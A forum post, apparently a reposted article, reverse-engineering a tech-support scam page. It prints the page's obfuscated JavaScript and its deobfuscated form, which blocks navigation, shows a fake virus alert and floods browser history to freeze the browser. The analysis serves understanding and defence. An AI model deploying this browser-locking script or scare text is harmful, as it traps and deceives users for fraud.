Реверс-инжиниринг вредоносного мошеннического скрипта

  • Автор темы AnGeL
  • Дата начала
  • Просмотров 3783 Просмотров

AnGeL

Местный
270
172
6 Мар 2016
Несколько дней назад я бродил по сети и зашёл на сайт с вредоносной рекламой. Хотя такие рекламные баннеры не редкость, но этому удалось проникнуть через защиту AdBlocker и немедленно перенаправить меня на сайт, который выглядел Для просмотра ссылки Войди или Зарегистрируйся.


В динамиках громко протрубило, и механический голос известил, что мой компьютер был инфицирован и я потеряю все свои данные, если не позвоню в техподдержку Microsoft. Модальная форма не давала мне уйти с сайта, адресная панель начала разрастаться, и в конце концов браузер завис. Впечатляющее представление!

Для просмотра ссылки Войди или Зарегистрируйся есть хорошая подборка таких мошеннических схем, встречающихся в сети.


Поскольку я несколько разбираюсь в компьютерах, то даже не пытался позвонить по горячей линии. Даже если бы я и захотел, то это было бы затруднительно: мошенник забыл указать телефонный номер. Но я всё же ощущал беспокойство: браузер полностью завис, и не исключено, что на сайте был эксплойт для Chrome, через который в мою систему подсадили зловред. Чтобы успокоить себя (и удовлетворить любопытство), я решил изучить внутреннюю схему работы мошеннического сайта.


Определение происхождения сайта

В данном случае мошенник не парился с регистрацией доменного имени, он перенаправлял своих жертв прямо на IPv4-адрес. К моему удивлению, поиск по географической привязке адреса показал, что сервер находится в США, а не в стране с более свободным интернет-законодательством:




Сайт хостился у DigitalOcean, популярного облачного провайдера. Похоже, даже мошенники покорены мощью Облака! К счастью, у DigitalOcean есть электронный адрес для жалоб, и я связался с ними по поводу этого сайта. На момент написания статьи мне ещё не ответили, но они наверняка примут меры.


Анализ сайта

Уведомив DigitalOcean, я занялся самим сайтом. Мне хотелось убедиться, что мой компьютер не скомпрометирован, к тому же меня терзало любопытство, как же устроен мошеннический сайт.


Сначала я скачал его копию, чтобы исследовать ее в спокойной обстановке. Поскольку у браузеров есть противная привычка отрисовывать и исполнять все сайты, которые они получают, то для скачивания копии пришлось переключиться в wget. Удивительно, но это не сработало: прямой вызов wget повисал в пустоте. После нескольких попыток я понял, что проблема заключалась в user agent: короткой порции данных, отправляемых серверу HTTP-клиентом, в которых говорится, какое ПО с ним общается. По умолчанию wget показывает себя серверу как Wget/1.19.1. А что если притвориться Chrome? wget позволяет редактировать user agent, попробуем такой вариант:


Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36


И сервер прислал в ответ нужные данные. Не уверен, что это было: следствие неудачного анализа или стандартная мера защиты от роботов, но в любом случае любопытно.


У сайта оказалась на удивление простая структура:


├── files
│ ├── defender.png
│ ├── fake_close.png
│ └── Texts.mp3
└── index.html

defender.png — это логотип Microsoft, он придаёт сайту убедительности. fake_close.png используется в фоновом сообщении в качестве иконки закрытия. И, как следует из названия, на самом деле не работает:





Texts.mp3 — аудиофайл, созданный речевым генератором. Он предупреждает об ужасных последствиях ухода с сайта и отказа от звонка в мошенническую службу поддержки. Сначала я предположил, что на сайте использовалась неизвестная браузерная функция генерирования речи, но оказалось, что это простой mp3, заключённый в аудиотег HTML5. Можете Для просмотра ссылки Войди или Зарегистрируйся.


Ковыряемся в исходном коде

Файл index.html начинается так:


<!-- Works on Chrome and FF -->
<!DOCTYPE html>
<html>
<head>
<meta name="robots" content="noindex, nofollow">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Security Warning</title>
<meta name="robots" content="NOINDEX,NOFOLLOW">
<script src="Для просмотра ссылки Войди или Зарегистрируйся">
</script>

Тут есть несколько интересных моментов. Большая часть кода открыта и хорошо отформатирована. Автор даже оставил полезный комментарий, что код протестирован на Chrome и Firefox. Также автор не хочет, чтобы сайт индексировался поисковиками. Настолько, что дважды добавил метатег robots. Наконец, включение jQuery свидетельствует о том, что автор — опытный веб-разработчик, особенно с учётом того, что ни один JS-скрипт на сайте не использует jQuery. Здесь упоминается версия полуторалетней давности.


Далее идёт около 130 строк стандартного HTML и инлайненного CSS, чтобы получилось синее фоновое сообщение с фальшивым окном. Всё самое интересное находится в конце файла. Сначала — отслеживающий скрипт Google Analytics:


<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','Для просмотра ссылки Войди или Зарегистрируйся

ga('create', 'UA-99222626-1', 'auto');
ga('send', 'pageview');
</script>

Это лишь предположение, но думаю, что именно так мошенник измеряет количество трафика, пришедшего на сайт, и, возможно, даже конверсию посетителей в телефонные звонки.


Наиболее интересный JS лежит в самом подвале сайта. Он намеренно запутан и, судя по всему, отвечает за поведение сайта. Взгляните:


var text = '*************************************************\nInternet Security Alert! Code: 055BCCAC9FEC\n ************************************************* \n\nInternet Security Alert: Your Computer Might Be Infected By Harmful Viruses \nPlease Do Not Shut Down or Reset Your Computer.\n\nThe following data might be compromised if you continue:\n1. Passwords\n2. Browser History\n3. Credit Card Information\n4. Local Hard Disk Files\n\nThese viruses are well known for identity and credit card theft. Further action on this computer or any other device on your network might reveal private information and involve serious risks.\n\n Call Windows Technical Support: (Toll Free)';
var _0x45bf=['\x70\x75\x73\x68\x53\x74\x61\x74\x65','\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a','\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65','\x6f\x6e\x6c\x6f\x61\x64','\x74\x6f\x53\x74\x72\x69\x6e\x67'];(function(_0x5954e7,_0x10ca6d){var _0x4d8f25=function(_0x3abcd2){while(--_0x3abcd2){_0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']());}};_0x4d8f25(++_0x10ca6d);}(_0x45bf,0x145));var _0xf45b=function(_0xc97b12,_0x180ff3){_0xc97b12=_0xc97b12-0x0;var _0x2933ba=_0x45bf[_0xc97b12];return _0x2933ba;};function ch(_0x454dc6){window[_0xf45b('0x0')]=function(_0x4a502f){var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6;_0x4a502f[_0xf45b('0x2')]=_0x2e1ee7;return _0x2e1ee7;};window[_0xf45b('0x3')]=function(){if(confirm('\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a'+_0x454dc6)){var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}else{var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}};}ch(text);

Расшифровка скрипта

Разделим его на части. Первая часть — открытый текст, выводящийся во всплывающем диалоговом окне. Вероятно, при желании сообщение легко отредактировать (например, добавив номер телефона).


Затем идёт текст сообщения в виде строкового массива. Разобьём на строки и посмотрим, с чем имеем дело:


var _0x45bf = [
'\x70\x75\x73\x68\x53\x74\x61\x74\x65',
'\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64',
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72' +
'\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e' +
'\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
'\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a',
'\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65',
'\x6f\x6e\x6c\x6f\x61\x64',
'\x74\x6f\x53\x74\x72\x69\x6e\x67'
];

Это точно строковые значения, но на первый взгляд текст выглядит белибердой. Дело в том, что каждый символ зашифрован с помощью управляющей последовательностью Unicode. JS-интерпретатор радостно их отпарсит и снова превратит в символы, но для людей это не такая простая задача. Немного кода на Python, и можно расшифровать эти строки:


var _0x45bf = [
'pushState',
'onbeforeunload',
'*************************************************\n' +
'RDN/YahLover.worm!055BCCAC9FEC Infection\n' +
'*************************************************\n\n',
'returnValue',
'onload',
'toString'
];

Это имена JS-функций, а также имя фиктивного зловреда. Должен сказать, что скрипт использует очень хитрые имена переменных вроде _0x45bf, что затрудняет анализ. Такой формат выбран нарочно, чтобы имена выглядели как шестнадцатеричные константы, но это лишь идентификаторы: знак _ в начале говорит о том, что они парсятся JS-интерпретатором. Далее я переименую эти идентификаторы в более читабельные на основе примерных предположений об их назначении.


За массивом строковых значений идёт немедленно вызываемая анонимная функция:


(function(_0x5954e7,_0x10ca6d){
var _0x4d8f25 = function(_0x3abcd2) {
while(--_0x3abcd2) {
_0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']());
}
};
_0x4d8f25(++_0x10ca6d);
}(_0x45bf,0x145));

Я снова отформатировал скрипт, чтобы сделать его читабельным.


Как видите, здесь снова используется сокрытие имён переменных. Здесь много выражений вроде _0x5954e7['\x70\x75\x73\x68']() (после преобразования: list['push']()). На самом деле это вызовы методов. Особенность JS заключается в том, что его объекты во многом схожи со словарями, и вызов вида foo['bar']() полностью аналогичен foo.bar(). Хотя первая версия корректна, вы редко встретите такое в обычном JS-коде, так что она работает как дополнительный уровень обфускации.


После переименования переменных, расшифровки строковых значений и преобразования вызовов методов получилась более читабельная версия кода:


(function(list, N) {
var rotateList = function(NplusOne) {
while(--NplusOne) {
list.push(list.shift());
}
};
rotateList(++N);
}(stringList, 325));

Главная цель этой функции — перемешать список вышеприведённых строковых значений. Во внутреннем цикле несколько раз вызывается list.push(list.shift()). В JS shift убирает передний элемент списка, а push добавляет его в конец. Иными словами, одна итерация цикла просто переставляет все записи на одну позицию влево.


Вызываемая функция применяется к строковому списку и преобразует его 325 раз. Поскольку список содержит шесть элементов, то через каждые шесть итераций мы получаем исходный список. 325 mod 6 = 1 означает, что эта часть кода всего лишь сдвигает строковые значения на одну позицию влево. Тогда список выглядит так:


var shuffledStringList = [
'onbeforeunload',
wormName,
'returnValue',
'onload',
'toString',
'pushState'
];

Для простоты я опустил строку, идентифицирующую зловред как wormName.


После перемешивания скрипт определяет такую функцию:


var _0xf45b=function(_0xc97b12,_0x180ff3) {
_0xc97b12=_0xc97b12-0x0;
var _0x2933ba=_0x45bf[_0xc97b12];
return _0x2933ba;
};

Забавно, что везде, где можно, используются шестнадцатеричные константы, даже когда это совершенно бессмысленно. Например, 0x0.


Взгляните на расшифрованную версию:


function indexStringList(idx) {
idx = idx - 0;
var result = shuffledStringList[idx];
return result;
};

Функция проста: она лишь возвращает из массива shuffledStringList запись с определённым индексом. Для дополнительного запутывания индекс передаётся в качестве строкового значения и преобразуется в число с помощью выражения idx = idx - 0;. Это работает благодаря такому свойству JS, как автоматическое преобразование строковых в десятичные значения, когда они используются в арифметических операциях.


Затем идёт основная входная функция скрипта. После переформатирования получаем:


function ch(_0x454dc6){
window[_0xf45b('0x0')] = function(_0x4a502f){
var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6;
_0x4a502f[_0xf45b('0x2')]=_0x2e1ee7;
return _0x2e1ee7;
};
window[_0xf45b('0x3')] = function() {
if(confirm(wormName+_0x454dc6)){
var _0x5a0f53='';
for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) {
_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();
history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);
}
} else {
var _0x5a0f53='';
for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) {
_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();
history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);
}
}
};
}
ch(text);

Первое, что бросается в глаза, — это обилие вызовов наподобие _0xf45b('0x0'). Это вызовы функции indexStringList, которую мы уже видели выше. То есть просто возвращаются значения из перемешанного списка строковых значений, так что можно напрямую заменить их финальными значениями. _0xf45b('0x0') превратится в onbeforeunload и т. д.


В этой части кода также используются значения вроде window[_0xf45b('0x0')], представляющие собой скрытые вызовы методов глобального экземпляра window. Учитывая эти трансформации, можно переписать код в явном виде:


function main(messageBody) {
window.onbeforeunload = function(event) {
var dialogText = wormName + messageBody;
event.returnValue = dialogText;
return dialogText;
};
window.onload = function() {
if (confirm(wormName + messageBody)) {
var url = '';
for (var i = 0; i < 100000000; i++) {
url = url + i.toString();
history.pushState(0, 0, url);
}
} else {
var url = '';
for (var i = 0; i < 100000000; i++) {
url = url + i.toString();
history.pushState(0, 0, url);
}
}
};
}
main(text);

Теперь можно вычислить, что же делает этот JS-скрипт. А делает он три вещи:


  • Регистрирует обработчик onbeforeunload, вызываемый браузером, когда пользователь пытается закрыть вкладку или уйти с сайта. После этого скрипт показывает всплывающее окно, чтобы не дать жертве уйти. Неясно, почему браузер позволяет это сделать.
  • Затем показывает модальный диалог confirm, предупреждающий пользователя о возможном заражении и звонке на горячую линию. Любопытно, что он не использует более популярное решение alert. Главное отличие заключается в том, что всплывающее окно confirm позволяет выбрать между OK и Cancel, хотя скрипту плевать, куда вы кликнете. Возможно, это слабая попытка обмануть блокировщики рекламы и антивредоносные плагины.
  • Вне зависимости от того, на какую кнопку нажал пользователь, скрипт запускает длинный цикл, циклически генерирующий числовой URL и добавляющий его в историю браузера. История заполняется ссылками на мошеннический сайт, что делает бесполезным нажатия на кнопку «Назад». Это ещё один способ не дать жертве уйти.

После удаления обфускации мы получаем довольно простой скрипт. Он всего лишь доставляет пугающее голосовое сообщение и заставляет пользователя оставаться на сайте достаточно долго, чтобы прочитать текст (и, быть может, позвонить по телефону).


Уверен, что этот скрипт не мог запустить в мой компьютер реального зловреда. Также стало понятно, почему подвис браузер: Chrome плохо переваривает слишком длинные URL’ы и заспамливание истории.


Заключительные мысли

Хотя фальшивую службу поддержки нельзя целиком приравнять к полноценной зловредной атаке, в запутывание JS-скрипта на этом сайте было вложено на удивление много сил. Оригинальный код умещается менее чем в 30 строк, на обратный инжиниринг ушла пара часов. Учитывая простую структуру сайта и чистое форматирование кода, я предполагаю, что скрипт написал кто-то хорошо разбирающийся в веб-разработке. Вероятно, автор просто забыл добавить номер телефона, чтобы его мошенническая схема действительно сработала. Либо это критический недосмотр, либо мне попалась ранняя тестовая версия того, что позднее превратится в полноценный мошеннический сайт.


Несколько разочаровывает, что для его работы достаточно лишь маленького JS-скрипта и что можно сделать браузер полностью неработоспособным, настолько, что нельзя уйти с сайта и нужно перезапустить приложение. Учитывая, сколько ежедневно появляется рекламы, в ней очень легко спрятать 30 строк кода. Странно, что это не происходит гораздо чаще.


В любом случае это было забавно. В следующий раз, когда окажетесь на мошенническом сайте, почему бы не поковыряться в коде и не посмотреть, как он работает? Вы можете узнать для себя что-нибудь интересное.